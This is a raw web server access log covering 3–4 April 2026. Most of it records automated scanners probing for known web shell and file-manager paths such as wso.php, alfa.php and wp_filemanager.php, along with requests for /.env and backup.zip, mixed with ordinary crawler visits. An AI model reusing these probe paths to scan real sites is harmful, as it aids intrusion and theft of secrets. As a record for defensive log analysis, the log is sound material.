4.204.186.15 - - [03/Apr/2026:04:17:34 +0300] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:17:43 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:18:28 +0300] "GET /wp-includes/rest-api/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:18:40 +0300] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:20:31 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:23:56 +0300] "GET /assets/edit.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:24:52 +0300] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:09:16 +0300] "GET /.well-known/link.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:09:19 +0300] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:10:56 +0300] "GET /wp-includes/SimplePie/Cache/content.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:14:23 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:14:45 +0300] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:15:15 +0300] "GET /wp-includes/SimplePie/system.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:15:47 +0300] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:15:51 +0300] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:16:08 +0300] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:16:16 +0300] "GET /.well-known/pki-validation/fm.php HTTP/1.1" 404 796 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:16:16 +0300] "GET /wp-content/configs.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:17:04 +0300] "GET /wp-includes/theme-compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:18:49 +0300] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:20:16 +0300] "GET /user.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:22:14 +0300] "GET /link.php HTTP/1.1" 301 795 "-" "-" 101.33.80.42 - - [03/Apr/2026:05:02:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.63.102.187 - - [03/Apr/2026:04:55:01 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 192.36.109.86 - - [03/Apr/2026:06:26:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.3" 107.189.23.75 - - [03/Apr/2026:05:03:49 +0300] "GET /reserv/wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 43.130.78.203 - - [03/Apr/2026:05:51:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 182.42.104.32 - - [03/Apr/2026:05:29:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.63.102.187 - - [03/Apr/2026:08:08:36 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 62.60.130.228 - - [03/Apr/2026:06:54:50 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://twitter.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_7_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15" 20.63.102.187 - - [03/Apr/2026:07:24:27 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 20.63.102.187 - - [03/Apr/2026:08:46:51 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 85.137.48.167 - - [03/Apr/2026:09:25:42 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 98.93.79.214 - - [03/Apr/2026:08:54:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36" 194.26.192.92 - - [03/Apr/2026:10:10:19 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.92 - - [03/Apr/2026:10:10:19 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.92 - - [03/Apr/2026:10:10:19 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.92 - - [03/Apr/2026:10:10:19 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.92 - - [03/Apr/2026:10:10:19 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.92 - - [03/Apr/2026:10:10:19 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 43.152.72.247 - - [03/Apr/2026:10:06:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.153.122.30 - - [03/Apr/2026:10:52:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.63.102.187 - - [03/Apr/2026:11:34:00 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 194.26.192.92 - - [03/Apr/2026:10:10:19 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.92 - - [03/Apr/2026:10:10:19 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 75.119.148.223 - - [03/Apr/2026:09:35:01 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 115.45.40.29 - - [03/Apr/2026:11:17:41 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.2574.95 Safari/537.36 LBBROWSER" 38.34.179.176 - - [03/Apr/2026:11:46:00 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 172.93.161.241 - - [03/Apr/2026:11:51:07 +0300] "GET /.env HTTP/1.1" 301 795 "-" "python-requests/2.26.0" 194.26.192.92 - - [03/Apr/2026:10:10:19 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 36.41.75.167 - - [03/Apr/2026:11:59:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 182.52.24.155 - - [03/Apr/2026:12:52:29 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 49.51.252.146 - - [03/Apr/2026:15:01:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 82.165.74.190 - - [03/Apr/2026:14:48:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" 43.131.23.154 - - [03/Apr/2026:15:43:31 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 159.203.45.86 - - [03/Apr/2026:16:00:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 159.203.45.86 - - [03/Apr/2026:16:00:23 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://www.eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 104.28.203.60 - - [03/Apr/2026:15:56:18 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 107.189.23.75 - - [03/Apr/2026:18:24:24 +0300] "HEAD /backup.zip HTTP/1.1" 301 0 "-" "python-requests/2.27.1" 20.250.11.224 - - [03/Apr/2026:18:53:42 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 102.129.223.92 - - [03/Apr/2026:20:11:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" 43.130.15.147 - - [03/Apr/2026:19:52:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 157.173.110.96 - - [03/Apr/2026:19:36:45 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 43.157.179.227 - - [03/Apr/2026:21:26:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.9.50.25 - - [03/Apr/2026:22:28:35 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 51.68.111.204 - - [03/Apr/2026:23:27:20 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 51.68.111.204 - - [03/Apr/2026:23:27:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 51.75.128.89 - - [03/Apr/2026:21:58:35 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 20.240.61.149 - - [03/Apr/2026:22:09:19 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 124.217.8.80 - - [03/Apr/2026:22:58:30 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 51.75.128.89 - - [03/Apr/2026:21:58:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 3.252.38.228 - - [03/Apr/2026:23:50:19 +0300] "GET / HTTP/1.0" 301 795 "-" "Mozilla/5.0 (compatible; NetcraftSurveyAgent/1.0; +info@netcraft.com)" 111.172.249.49 - - [04/Apr/2026:00:37:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 85.11.167.108 - - [04/Apr/2026:01:29:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 4.240.58.189 - - [04/Apr/2026:04:08:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 4.204.222.235 - - [04/Apr/2026:04:07:15 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 51.120.81.94 - - [04/Apr/2026:06:22:59 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.159.145.153 - - [04/Apr/2026:06:31:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 157.66.192.154 - - [04/Apr/2026:06:04:37 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.155.162.41 - - [04/Apr/2026:05:33:31 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 144.91.101.145 - - [04/Apr/2026:06:13:37 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 89.117.41.196 - - [04/Apr/2026:09:40:23 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 89.117.41.196 - - [04/Apr/2026:09:40:27 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 89.117.41.196 - - [04/Apr/2026:09:40:26 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 40.77.167.108 - - [04/Apr/2026:09:25:56 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 89.117.41.196 - - [04/Apr/2026:09:40:20 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 89.117.41.196 - - [04/Apr/2026:09:40:20 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 89.117.41.196 - - [04/Apr/2026:09:40:24 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 89.117.41.196 - - [04/Apr/2026:09:40:24 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 89.117.41.196 - - [04/Apr/2026:09:40:25 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 89.117.41.196 - - [04/Apr/2026:09:40:22 +0300] "GET /O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 52.167.144.204 - - [04/Apr/2026:09:25:59 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 89.117.41.196 - - [04/Apr/2026:09:40:28 +0300] "GET /.wp/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 173.252.70.63 - - [04/Apr/2026:11:54:12 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 135.136.19.155 - - [04/Apr/2026:11:59:56 +0300] "GET /cart HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0" 43.165.67.57 - - [04/Apr/2026:11:26:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 195.178.110.223 - - [04/Apr/2026:11:49:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 43.135.135.57 - - [04/Apr/2026:12:17:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.220.149.9 - - [04/Apr/2026:11:54:13 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 84.17.45.176 - - [04/Apr/2026:15:49:17 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.151.229.110 - - [04/Apr/2026:15:51:07 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:46 +0300] "GET /gfile.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:52 +0300] "GET /7logs.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:54 +0300] "GET /css/xp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:55 +0300] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:24 +0300] "GET /wp-tem.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:31 +0300] "GET /mga.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:11 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:39 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:46 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:01 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:03 +0300] "GET /assets/css/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:04 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:12 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:13 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:13 +0300] "GET /sys.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:13 +0300] "GET /path.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:17 +0300] "GET /wp-tem.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:18 +0300] "GET /mga.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:18 +0300] "GET /agg.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:18 +0300] "GET /G-In.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:19 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:21 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:21 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:22 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:23 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:23 +0300] "GET /assets/css/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:25 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:25 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:26 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:26 +0300] "GET /nz.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:29 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:40 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:40 +0300] "GET /bjfl.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:43 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:44 +0300] "GET /bjfl.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:46 +0300] "GET /ad1.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:47 +0300] "GET /Rk41.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:47 +0300] "GET /nz.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:49 +0300] "GET /inwp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:51 +0300] "GET /X7T6.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:51 +0300] "GET /X7T6.php HTTP/1.1" 301 795 "-" "-" 87.121.84.44 - - [04/Apr/2026:14:37:58 +0300] "GET /admin/assets/plugins/plupload/examples/upload.php HTTP/1.1" 301 795 "-" "ALittle Client" 20.151.229.110 - - [04/Apr/2026:15:50:09 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:50:14 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:50:16 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:50:18 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:50:33 +0300] "GET /7logs.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:07 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:09 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:10 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:11 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:13 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:15 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:15 +0300] "GET /7logs.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:16 +0300] "GET /css/xp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:18 +0300] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:31 +0300] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:05 +0300] "GET /sys.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:08 +0300] "GET /path.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:15 +0300] "GET /wp-tem.php 